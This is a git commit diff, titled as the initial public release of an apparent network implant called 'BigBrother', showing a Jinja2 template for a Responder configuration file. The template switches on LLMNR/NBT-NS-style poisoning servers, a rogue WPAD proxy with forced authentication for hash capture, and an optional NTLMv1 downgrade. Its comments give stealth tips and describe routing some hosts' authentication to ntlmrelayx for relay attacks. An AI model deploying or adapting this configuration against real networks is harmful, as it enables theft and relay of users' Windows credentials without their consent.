Initial public release

Full BigBrother network implant - passive SOC + active exploitation. Personal identifiers removed; all capabilities intact. See README.md for setup and docs/deployment.md for detailed deployment.
2026-06-26 09:52:50 -04:00
commit ccc6b729de
175 changed files with 47941 additions and 0 deletions
@@ -0,0 +1,70 @@
+{# BigBrother Responder.conf template
+   Jinja2 variables:
+     protocols: dict of protocol toggles (LLMNR, NBT-NS, mDNS, HTTP, SMB, etc.)
+     relay_targets: set of IPs excluded from SMB auth (for ntlm_relay)
+     interface: network interface
+#}
+[Responder Core]
+
+; Servers to start
+SQL = {{ 'On' if protocols.get('SQL', false) else 'Off' }}
+SMB = {{ 'On' if protocols.get('SMB', true) else 'Off' }}
+RDP = Off
+Kerberos = Off
+FTP = {{ 'On' if protocols.get('FTP', false) else 'Off' }}
+POP = {{ 'On' if protocols.get('POP', false) else 'Off' }}
+SMTP = {{ 'On' if protocols.get('SMTP', false) else 'Off' }}
+IMAP = {{ 'On' if protocols.get('IMAP', false) else 'Off' }}
+HTTP = {{ 'On' if protocols.get('HTTP', true) else 'Off' }}
+HTTPS = {{ 'On' if protocols.get('HTTP', true) else 'Off' }}
+DNS = Off
+LDAP = {{ 'On' if protocols.get('LDAP', false) else 'Off' }}
+DCERPC = Off
+WinRM = Off
+SNMP = Off
+MQTT = Off
+
+; Custom challenge — Random is stealthier than fixed
+Challenge = Random
+
+; Set specific interface
+; Interface = {{ interface }}
+
+; WPAD configuration
+WPADScript = function FindProxyForURL(url, host){return "DIRECT";}
+{% if protocols.get('WPAD', true) %}
+; WPAD rogue proxy enabled
+Serve-Html = On
+Serve-Exe = Off
+{% endif %}
+
+; Force WPAD auth for hash capture
+Force-WPAD-Auth = {{ 'On' if protocols.get('WPAD', true) else 'Off' }}
+
+; Downgrade to NTLMv1 (more crackable but more detectable)
+; Set to On only when specifically targeting NTLMv1
+Downgrade-To-NTLMv1 = Off
+
+; Don't respond to these machines (comma-separated hostnames)
+DontRespondToNames =
+
+{% if relay_targets %}
+; Hosts excluded from SMB auth — being relayed by ntlmrelayx
+; These IPs should get auth forwarded to ntlmrelayx, not captured locally
+DontRespondTo = {{ relay_targets | join(', ') }}
+{% else %}
+DontRespondTo =
+{% endif %}
+
+[HTTP Server]
+; Custom HTML to serve for WPAD/HTTP auth
+HTMLToInject =
+; Serve a custom EXE
+Serve-Always = Off
+Filename =
+ExecParams =
+
+[HTTPS Server]
+; Self-signed cert params
+SSLCert = certs/responder.crt
+SSLKey = certs/responder.key